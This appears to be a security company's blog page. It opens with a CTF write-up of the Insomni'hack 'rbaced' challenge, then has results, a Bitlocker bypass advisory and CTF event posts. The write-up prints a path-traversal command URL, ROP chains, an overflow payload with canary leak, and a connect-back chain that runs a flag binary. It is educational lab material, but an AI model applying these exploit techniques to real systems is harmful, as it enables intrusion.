rbaced – a CTF introduction to grsecurity’s RBAC

Description

rbaced was a pwnable challenge at last week-end’s Insomni’hack Teaser, split in 2 parts: rbaced1 and rbaced2.

TL;DR: grsecurity/PaX can prevent introducing executable memory in a process or execute untrusted binaries, and make your life miserable.

The description:

This coffee machine can be controlled from your smartphone.
We can’t provide the app itself, however we found the HTTP server running on the machine… which seems to be *very* crappy and subject to several lame vulnerabilities.
Since the binaries can’t be recompiled, administrators have attempted to harden the system with grsecurity…
Read /flag_part1 to get the flag for part I. [200pts]
Run /getflag_part2 to get the flag for part II. [300pts]
Challenge files | Link
Your coffee creds: <login> / <password>

FYI: This is a pwnable, not a web. No kernel exploit involved :)

As just described, this challenge is running on a system hardened with grsecurity. While a large part of grsecurity is kernel self-protection, this challenge focuses on userland protections.
Since hiding deployment details doesn’t add any fun to a CTF task, we provided everything required to run the challenge in the same context than the online instance:

rbaced/
    rbaced/
    ├── etc/
    │   ├── grsec/
    │   │   ├── policy                         # RBAC policy for default roles
    │   │   └── roles/
    │   │       ├── groups/
    │   │       └── users/
    │   │           ├── authenticator          # definition of the authenticator role
    │   │           └── rbaced                 # definition of the rbaced role
    │   ├── sysctl.d/
    │   │   └── 05-grsecurity.conf             # runtime grsecurity options (shows deter_bruteforce is disabled among others)
    │   └── xinet.d/                           # fail in the directory name 😉
    │       └── authenticator                  # associates incoming 127.0.0.1:4242 requests to the authentication binary
    ├── home/
    │   ├── authenticator/
    │   │   ├── authenticator                  # authentication binary (compiled with SSP/PIE/RELRO/FORTIFY)
    │   │   └── creds_db.txt                   # hashed credentials
    │   └── rbaced/
    │       ├── rbaced                         # HTTP server, handles CGI, static files and errors - no SSP/PIE/RELRO/FORTIFY
    │       ├── rbaced.conf                    # HTTPd configuration file
    │       └── www/
    │           ├── cgi-bin/
    │           │   ├── order                  # binary - no SSP/PIE/RELRO/FORTIFY
    │           │   └── preferences            # binary that saves preferences in a pref.txt file - no SSP/PIE/RELRO/FORTIFY
    │           ├── index.html
    │           ├── static/*                   # static files (css, js, images...)
    │           └── userdata/                  # writable directory to save preferences
    ├── lib/
    │   └── x86_64-linux-gnu/
    │       └── libc.so.6                      # libc to get the same offsets than the online host
    ├── README
    └── usr/
        └── src/
            ├── config-4.3.3-grsec             # kernel config
            └── linux-image-4.3.3-grsec.deb    # kernel and modules for debian/ubuntu (same as online)

Once these files were copied/installed, you just had to download and install gradm.
Run gradm -E after setting passwords as instructed, and you’re ready to go!

The RBAC policy

A grsecurity RBAC policy is pretty easy to understand. It is documented here. Role, subject and object modes can be found in links in the appendix here.

The rbaced role is defined as follows:

role rbaced uT
subject /
    /                                       h
    /etc/ld.so.cache                        r
    /dev/urandom                            r
    /dev/random                             r
    /lib/x86_64-linux-gnu                   rx
    /lib64                                  rx
    /home/rbaced/www/index.html             r
    /home/rbaced/www/cgi-bin/               x
    /home/rbaced/www/userdata/              cdrw
    /home/rbaced/www/static/                r

    $grsec_denied

    -CAP_ALL
    +PAX_MPROTECT
    +PAX_RANDMMAP
    RES_CPU 25s 25s
    connect disabled
    bind disabled

subject /home/rbaced/rbaced
    /flag_part1                             r
    /home/rbaced/rbaced.conf                r
    /home/rbaced/rbaced                     x

    +PAX_MPROTECT
    +PAX_RANDMMAP
    RES_CPU 25s 25s
    connect 127.0.0.1:4242 stream tcp
    bind disabled

All objects on the filesystem are hidden ‘h‘ by default, and permissions are granted progressively.
The default subject ( / ) will apply to any process run by user rbaced unless there is another more specific subject matching that process that overrides ACL inheritance with the ‘o‘ mode (more info).
Thus, our CGI binaries in /home/rbaced/www/cgi-bin/ will run with default ACLs, and /home/rbaced/rbaced will have several additional permissions, including the authorization to execute itself.

The authenticator role implements similar restrictions but allows to execute /getflag_part2.

Just by looking at the RBAC policy, we can already deduce that to solve rbaced1 we have to exploit rbaced (only process that can read /flag_part1), and authenticator for rbaced2 (only process that can exec /getflag_part2). We also know that authenticator is bound on localhost and only rbaced can connect to it, so we will have to exploit authenticator through rbaced, somehow. Also worth noting is that there is nothing in the authenticator role that specifically disables connect/bind. As a result it is enabled by default.

The vulnerabilities

Before we delve into the vulnerabilities, let’s summarize the logic implemented in the challenge.

The rbaced binary operates in two modes:

  • Server mode: run as root with --config=/home/rbaced/rbaced.conf --daemon. This is the HTTP server listening on port 8080. It drops privileges to rbaced/rbaced, thereby transitioning into the rbaced role, then returns the output of a CGI binary or an error. If the file exists and is not a CGI binary, it executes itself as a client instead.
  • Client mode: acts as a CGI binary and returns either the index, the file in env['SCRIPT_NAME'] or the file provided by the --file option. It checks if the file belongs to the env['SERVER_ROOT']

The CGI binaries (requiring authentication) are:

  • preferences: a form to save your favorite coffee preferences (sugar, cream, strength…). It saves those in a pref.txt file unique to the IP/creds
  • order: a form that loads existing preferences, but does nothing useful.

The authenticator binary takes base64-encoded input (from Authorization: Basic) and verifies that it matches valid credentials. Each team had different credentials during the CTF for isolation purposes.

As suggested in the description – the vulnerabilities are not quite sophisticated:

  1. cgi-bin/preferences allows to write almost arbitrary content to the pref.txt file. Ex: “sugar = <urldecode(POST['sugar'])>
  2. rbaced checks whether it should execute a CGI binary or itself by examining if the requested file starts with "/cgi-bin/" and executes the CGI directly from its filename, and is therefore vulnerable to a path traversal. Conveniently, the query string is also mapped to argv in the executed CGI.
  3. rbaced, when executed as a server, may parse its configuration from a config file. Each line is copied in a stack buffer of 1024 bytes with strcpy, leading to a straight buffer overflow.
  4. authenticator receives (in a loop) a base64-encoded Authorization-Basic string, decodes it in a stack buffer and prints "OK - Credentials accepted" or "KO - Invalid credentials '<decoded string>'". It is vulnerable to an even more obvious stack buffer overflow.

Solution for rbaced1

In a normal setup, vulnerability 2 would be as straight-forward as visiting the following page with valid credentials:

/cgi-bin/../../../../bin/bash?-c&echo+-e+"Content-Type:+flag\n\n";cat+/flag_part1

However, because of the policy, there is no bash:

[277417.298629] grsec: From <IP>: (rbaced:U:/home/rbaced/rbaced) denied access to hidden file /bin/bash by /home/rbaced/rbaced[rbaced:5409] uid/euid:1001/1001 gid/egid:1001/1001, parent /home/rbaced/rbaced[rbaced:2023] uid/euid:0/0 gid/egid:0/0

Instead, we can combine vulnerabilities 1 and 2 to reach vulnerability 3. Vulnerability 1 lets us craft a fake configuration file, which is then fed to vulnerability 2:

req = requests.get("http://%s:%s/cgi-bin/../../rbaced?--daemon&--config=userdata/%s/pref.txt" % (HOST, PORT, pref_hash), auth=auth)
print req.content

Since the overflow is caused by strcpy, we can’t have null bytes in our payload. This is however trivially bypassed by crafting null bytes on the stack using strcpy‘s terminating null byte in subsequent lines (but will increase the configuration file size a lot).
We cannot execute the classic system function, but an open/read/write ropchain does the job. The parent rbaced process expects a "Content-Type" and "\n\n" in the CGI output, so a simple call to puts("Content-Type: %s\n\n") must be prepended. The configuration User and Group fields are stored in BSS, which makes it convenient to store the flag path.

stage1 = rop([
    # print the Content-Type line (if we don't the server will raise a 500 error)
    stage1_call_func(elf.plt['puts'], content_type),
    # fd = open(flag, O_RDONLY)
    stage1_call_func(elf.plt['open'], bss_user, constants.O_RDONLY),
    # read(fd, &bss, size) -- size in rdx = stack addr (large enough)
    stage1_call_func(elf.plt['read'], 0x3, bss_addr, None),
    # print flag
    stage1_call_func(elf.plt['puts'], bss_addr),
    stage1_call_func(elf.plt['exit'], 200),
])

stage1_call_func builds a function call using adequate pop reg gadgets. pop rdi and pop rsi gadgets are easy to find, pop rdx a bit more tricky, but not necessary at this stage.

Flag: INS{We need to ROP deeper!}

Solution for rbaced2

Meet your enemies:

So far the only feature that has prevented us from exploiting things as desired is the filesystem ACLs, so we weren’t able to execute arbitrary binaries on the filesystem.

As mentioned earlier we will need to exploit the authenticator service from our rbaced exploit. In this situation our best option is to introduce new PROT_EXEC memory so we can execute a shellcode. However PaX’s MPROTECT is set (by default since kernel.pax.softmode = 0, but also through the RBAC policy), which prevents malicious use of mprotect/mmap with PROT_EXEC.

The MPROTECT feature does not protect against a open+mmap of a file with PROT_EXEC, but two other grsecurity features prevent it from happening:

  • Trusted Path Execution (TPE): prevents us from executing code from untrusted files (not owned by root), so we cannot execute a binary created by our exploit, mmap it with PROT_EXEC, LD_PRELOAD, etc. TPE can be set on a gid, but here it was set in the policy with the ‘T‘ role mode.
  • RBAC policy: the only place where we can write files is /home/rbaced/www/userdata/, which has “rw” modes only. It lacks the “x” mode, which is described as:
    This object can be executed (or mmap'd with PROT_EXEC into a task).

Attempts to introduce executable code will result in errors like:

[332824.278775] grsec: From <IP>: (rbaced:U:/) denied untrusted exec (due to being in untrusted role and file in group-writable directory) of /home/rbaced/www/userdata/test.so by /home/rbaced/www/cgi-bin/test[test:29446] uid/euid:1001/1001 gid/egid:1001/1001, parent /home/rbaced/rbaced[rbaced:29443] uid/euid:1001/1001 gid/egid:1001/1001
[332824.295676] grsec: From <IP>: (rbaced:U:/) denied RWX mprotect of /home/rbaced/www/cgi-bin/test by /home/rbaced/www/cgi-bin/test[test:29446] uid/euid:1001/1001 gid/egid:1001/1001, parent /home/rbaced/rbaced[rbaced:29443] uid/euid:1001/1001 gid/egid:1001/1001

So, as hinted in the rbaced1 flag, we don’t have much choice left: we must do everything through ROP!

Exploiting authenticator:

Exploiting the standalone authenticator binary is straight-forward: the stack buffer overflow is introduced by a base64decode, which means the last byte of the overflow is under control. If we decode 2056+1 bytes we overwrite the first byte of the stack smashing protector (SSP), which is always a null byte.

The error message prints the incorrect decoded credentials and therefore can be used to leak the SSP. It makes it possible to also leak the base address of the authenticator elf (PIE enabled) and a libc address in further requests.

All file descriptors are closed before the execution flow is diverted to our payload, but using the previous leaks we can build a ropchain that will connect-back to us (remember that this is allowed by RBAC on this role) and execute the /getflag_part2 binary, whose address can be stored in BSS:

ropchain = [
    stage2_call_func(libc.symbols['socket'], constants.AF_INET, constants.SOCK_STREAM, 0),
    stage2_call_func(libc.symbols['connect'], sockfd, auth_bss_encoded, 16),
    stage2_call_func(libc.symbols['dup2'], sockfd, constants.STDOUT_FILENO),
    stage2_call_func(libc.symbols['execve'], auth_bss_encoded + 16, 0, 0),
]

payload = "A" * 2056
payload += struct.pack("<Q", ssp)
payload += "JUNKJUNK" * 7
payload += rop(ropchain)

ROP proxy, stage1:

The authenticator exploit has to be dynamic, but we can’t interact with our exploit directly because of the way CGI works. To make it even more painful, RBAC prevents connect-backs from rbaced processes. Building a dynamic exploit in a static ROP chain is going to be very, very painful… Fortunately, in this case, there is a way to make things much easier.

Remember that the /home/rbaced/rbaced subject also inherits ACLs from the default subject of role rbaced. It means rbaced is able to read and write files to /home/rbaced/www/userdata/. Therefore our ropchain can interact with us through files.

The attack plan is:

stage1 ropchain sploit.py
write libc addresses (GOT entries) to a leak.txt file
sleep
download leak.txt
upload stage2 ropchain in pref.txt
sleep
read stage2 ropchain from pref.txt
pivot to stage2

sleep is not in the binary’s PLT and we don’t have a libc leak yet, but we can add its offset to an existing resolved GOT entry (no RELRO). To do so we can use the following gadgets (rax, rbp and rbx can be popped from the stack directly):

mov rdx, [rsp+0x10] # mov rax, [rsp+0x18] # add rax, rdx # mov byte [rax], 0x00000000 # mov rax, [rsp+0x10] # add rsp, 0x28 # ret
adc [rbp-0x41], ebx # sbb byte [rdx+0x60], 0x00000000 # jmp rax

We can store the stage2 in the heap so it can be as large as needed and won’t require further pivots. There’s a readall function in the binary that reads everything from a file descriptor and stores it in the heap. The return value is in rax so we need to set rsp = rax to pivot to our stage2 ropchain.

mov [rsp+0x30], rax # nop # add rsp, 0x20 # ret
pop rsp # pop r13 # pop r14 # pop r15 # ret

ROP proxy, stage2:

The stage2 ropchain will be bigger, but easier to write, since we have a lot more gadgets available using the libc leak.
The stage2 layout is :

[ ropchain ][ pad ][ payload_leak_ssp ][ pad ][ payload_leak_libc ][ pad ][ payload_leak_pie ][ pad ][ connect_back_struct ]

It does the following:

  1. Create a new TCP socket sockfd
  2. Connect sockfd to 127.0.0.1:4242
  3. Open leak.txt as fd for writting
  4. Send payload to leak SSP and log output to fd
  5. Send payload to leak libc and log output to fd
  6. Send payload to leak PIE and log output to fd
  7. Close fd and wait for the final payload to be uploaded
  8. Open pref.txt file for reading
  9. Read then send the final overflow payload to sockfd
  10. Send "/getflag_part2" and the connect-back sockaddr_in structure to sockfd
  11. Close sockfd and exit rbaced

In parallel during step 7 the exploit downloads the leak.txt file, generates and uploads the final payload as described in “Exploiting authenticator“.
Once the sockfd socket is closed at step 11, the last ropchain gets triggered inside the authenticator process, which sends the flag to our connect-back server.

[*] Loaded cached gadgets for 'files/rbaced' @ 0x400000
[*] Loaded cached gadgets for 'files/libc.so.6' @ 0x0
[*] Stage1 length: 448
[*] Uploading crafted config file
[*] Launch server with crafted config
[*] Retreive leak file
[+] Leaked __libc_start_main: 0x67ac86dfcdd0
[+] Libc base: 0x67ac86ddb000
[*] Uploading stage2 ropchain
[*] Stage2 length: 2032
[*] Retreive auth_service leak file
[+] Leaked auth_service SSP: 0x1bece49b84712100
[+] Leaked auth_service libc address: 0x6b3593580ec5
[+] auth_service libc base: 0x6b359355f000
[+] Leaked auth_service main base: 0x6652b188e80
[+] auth_service BSS buffer address: 0x6652b38a040
[*] Uploading auth_service exploit
[+] Exploit finished.
connect to [<IP>] from ec2-52-19-102-200.eu-west-1.compute.amazonaws.com [52.19.102.200] 52010
INS{--[ Grsecurity. What else? ]--}

Conclusions

The full exploit can be found here. pwntools must be installed.

This task was in no way a bypass of RBAC, which would likely require more of a kernel exploit. Using the (full system) learning mode can help avoid some of the mistakes introduced on purpose in this challenge.

Congratulations to Dragon Sector and Tasteless for solving both tasks during the CTF!

Insomni’hack 2016 teaser results

Last weekend saw the year’s CTF competitions begin with our very own Insomni’hack teaser. Given some of the recent absurdities (http://weputachipinit.tumblr.com/) we decided to go with the Internet of Things as our theme this year.

Before going into some of the details, we’d like to congratulate Dragon Sector for taking the first place once again, finishing in front of Tasteless and KITCTF who complete our podium.

Screenshot from 2016-01-18 10:54:48

The full scoreboard can be found here: https://teaser.insomnihack.ch/scoreboard, and also on CTFtime.

When entering the contest, participants were greeted by a kitchen, where several connected objects (tasks) could be attacked.

Screenshot from 2016-01-18 10:13:00
Nearly 850 teams registered for the teaser, with 245 of them scoring at least once.

Overall, 8 tasks were given in Web, Crypto and Pwning fields, and teams had 36 hours (from 9h UTC, the 16th of January until 21h on the 17th) to complete as many as possible (and as quickly as possible) to get the top spots.

To give an idea of the complexity of each task, the following list shows which team was the first to solve it and at what time:

  • smartcat1: solved by dcua after 16 minutes
  • Bring the noise: solved by 217 after 27 minutes
  • Greenbox: solved by Dragon Sector after 1 hour and 7 minutes
  • smartcat2: solved by dcua after 1 hour and 10 minutes
  • Fridginator 10k: solved by n0n3m4 after 3 hours and 32 minutes
  • toasted: solved by 0x8F after 6 hours and 1 minute
  • rbaced1: solved by Dragon Sector after 6 hours and 25 minutes
  • rbaced2: solved by Dragon Sector after 20 hours and 19 minutes

We quickly notice that smartcat1 and Bring the noise were the easiest tasks, while the two rbaced tasks were the toughest. This also shows with the number of times each task was solved over the course of the weekend:

  • smartcat1 (Web): 209
  • Bring the noise (Crypto): 173
  • smartcat2 (Web): 132
  • Fridginator 10k (Web/Crypto): 52
  • Greenbox (Web): 33
  • toasted (Pwning): 15
  • rbaced1 (Pwning): 12
  • rbaced2 (Pwning): 2

After completing all the tasks, your kitchen looked like this:

Screenshot from 2016-01-18 11:27:45

Writeups for some of the challenges can be found here:

https://github.com/ctfs/write-ups-2016/tree/master/insomnihack-teaser-2016

The event ran rather smoothly, with only a few services needing to be restarted every now and then.

Do note that this is not a qualification round, as anyone can participate in the finals (18th of March, Geneva, Switzerland) and it is entirely free. We’re looking forward to seeing you there!

Bypassing TPM-based Bitlocker

Attack on Windows authentication mechanism

At the recent BlackHat Europe conference (November 10 – 13, Amsterdam) a security researcher called Ian Haken presented a very interesting, simple yet powerful attack allowing to bypass Windows (Kerberos) authentication on machines being part of  a Domain.

The attack in itself allows someone – having physical access to the Windows workstation or laptop – to log into the system by resetting the password of a domain account. For that the attacker will just need to setup a rogue Domain Controller and configure it to declare the target account as expired. Indeed Haken identified a loophole in the mechanism which allows an attacker to force the local update of the cached Domain credentials despite the Kerberos KDC failing to prove it’s identity to the target workstation.

The whole attack, whose details are well explained in Ian Haken’s paper, can be setup using common open-source software and very simple configuration steps.

By itself, this would not be a significant breakthrough as other means of achieving similar results are widely known (e.g. by booting the machine on a live system and tampering with the system). This attack however becomes very interesting when applied to systems using Microsoft Bitlocker for full-disk encryption and configured for using the machine’s TPM (without PIN or USB key) in order to avoid explicit pre-boot authentication.

In this context, the encryption keys are automatically retrieved by the Windows bootloader from the TPM without any user (or attacker) input in order to provide a transparent Windows boot. In this scenario, the whole security of the (encrypted) data on the system falls back on the Windows login mechanism as any user being capable of logging into the system would (transparently) have access to all or part of the local data (depending on the user privileges).

Obviously in this context, Haken’s attacks turns out into a way of bypassing Bitlocker encryption in order to have access to the (encrypted) system and data.

Mitigation

A security bulletin (and corresponding patch) has been issued by Microsoft : MS15-122.

According to Microsoft, “the update addresses the bypass by adding an additional authentication check that will run prior to a password change.”

Recommendations

Microsoft’s security bulletin is rated as Important which does not correspond to the highest severity level. However, as the attack targets a common Bitlocker configuration (actually Microsoft does not generally recommend the use of pre-boot authentication) this attacks appears as very easy to implement against stolen or lost laptops with potentially critical consequences in terms of data confidentiality.

For that reason SCRT heavily recommends this patch to be applied as quickly as possible on affected systems, taking care not to neglect mobile systems that may be used by employees “on the field” or “on the road” and that may not be subject to frequent system updates (e.g. because they are often out of reach from standard company’s infrastructure and update workflow).

SCRT Security Day 2015

secDay_banner

Jeudi 17 septembre
09:00 – 17:00
Hôtel Best Western à Chavannes-de-Bogis

PROGRAMME

09:00 – 09:30      Accueil & Petit déjeuner
09:30 – 10:00      Introduction par SCRT
10:00 – 10:45      Tenable : From vulnerability management to continuous network monitoring
10:45 – 11:00      Pause
11:00 – 11:45      HP TippingPoint : HP TippingPoint Advanced Threat Appliance (ATA) solution.
11:45 – 12:30      Fortinet : Internal Segmentation Firewall
12:30 – 13:45      LUNCH
13:45 – 14:30      Varonis : La gouvernance des données à l’aide des solution Varonis
14:30 – 15:15      Splunk : Introducing Splunk; SIEM VS Security Intelligence
15:15 – 15:30      Pause
15:30 – 16:15      Entrust : Entrust eliminating the password in the enterprise
16:15                   APÉRITIF

INSCRIPTIONS

Le nombre de places étant limité, nous vous remercions de bien vouloir confirmer votre présence via le lien suivant : https://www.eventbrite.fr/e/billets-scrt-security-day-2015-17305044855 avant le 7 septembre 2015.

SCRT @ DEFCON 2015

Cet été, 4 ingénieurs de l’équipe se sont rendus à Las Vegas pour les finales du concours de Capture the Flag (CTF) organisé par Legit BS à DEFCON. Ils se sont qualifiés en 10ème position avec l’équipe 0daysober.

Sur place, le concours s’est déroulé sur 3 jours, où chaque équipe était responsable d’un serveur sur lequel tournaient plusieurs services différents. Chacun d’entre eux était vulnérable à une ou plusieurs vulnérabilités. Le but du concours est donc de patcher ses propres services et d’exploiter les failles chez les autres équipes pour marquer des points.

Les services rencontrés cette année tournaient sur différentes architectures. Un premier binaire linux x86_64, “rxc”, suivit ensuite d’un autre service “ombdsu” tournant sur mips32le. Nous avons pu rapidement rejouer un exploit sur ce dernier, nous permettant de scorer quelques points. Un troisième service x86 “tachikoma” a été fournit à la fin de la première journée, ou nous terminons en 3ème position.

Aidé par plusieurs personnes à distance, nous avons pu patcher et exploiter une faille dans “rxc”, une nouvelle faille dans “ombdsu” et rejouer un exploit dans “tachikoma” dès le début de la deuxième journée. Un challenge ARM64 hébergé sur l’infrastructure de LegitBS a été proposé afin de séléctionner les 4 équipes les plus rapides. Nous avons heureusement été séléctionné, et les 4 équipes finalistes devaient s’affronter dans un livectf ou une personne représentait l’équipe et le gagnant remportait 1000 points. Etant extrêmement proche du but, notre coéquipier s’est malheureusement fait dépasser par un membre des PPP, qui nous devance ainsi de 7 points au terme de la deuxième journée, ou nous terminons en troisième position.
Trois autres services ont été mis en place sur cette deuxième journée:
– “hackermud”, une sorte de jeu d’aventure en Linux x86
– “badlogger”, un service de journalisation en Windows arm32
– “irkd”, un client IRC en Linux mips32le

Le troisième jour, nous avions corrigés 2 failles dans badlogger, nous évitant ainsi l’exploitation immédiate faite par DEFKOR et PPP. Nous n’avons malheureusement pas réussi à l’exploiter faute de matériel (Raspberry Pi 2) pour mieux analyser l’exploitation. Nous avions cependant deux nouveaux exploits dans tachikoma et ombdsu, nous permettant de scorer encore quelques équipes n’ayant pas patché toutes les failles. Pour préserver le suspens, ni score ni classement n’était affiché. Seule l’animation 3d tournant sur Unreal Engine de Legit BS permettait de voir si les équipes validaient beaucoup de flag. C’était aussi un bon moyen de voir si on se faisait voler des flags et par qui, les fusées représentant un flag ou exploit validé sur une équipe :

Au final, l’équipe sur place s’est en grande partie concentrée sur la défense, en patchant les binaires et en analysant les captures réseau. D’après ce que nous avons pu observer, nous n’avons eu que quelques vols de flag entre le samedi 12h et la fin du CTF le dimanche à 14h.

Autre nouveauté cette année, une version customisée de xinetd par LegitBS. En gros les fonctionnalités ajoutées sont :
– Limitation du nombre de connexions par source (2)
– Limitation de la durée d’exécution du service
– Limitation des syscalls autorisés pour le service
Les deux premières fonctionnalités étaient parfaites pour éviter les DoS. Pas besoin de surveiller la charge de la machine ni la durée des processus, ce qui était relativement couteux en temps et en SLA l’an passé.
Concernant la limitation des syscalls, le service xinetd créait une sorte de sandbox SECCOMP pour limiter les appels fait par le service. Le but principal étant d’empêcher que les équipes mettent en place leur propre sandboxing au moyen de qemu ou autre.

Cette année encore, nous avons utilisé Kibana pour grapher quelques indicateurs, tel que la validation de chaque flag par équipe et par service. Le pie chart suivant rassemble la totalité des flags que nous avons pu valider :
flags
Vous pouvez cliquez sur le lien pour visualisez les détails.

Au final, l’équipe a terminé en 3ème position, juste derrière DEFKOR et PPP.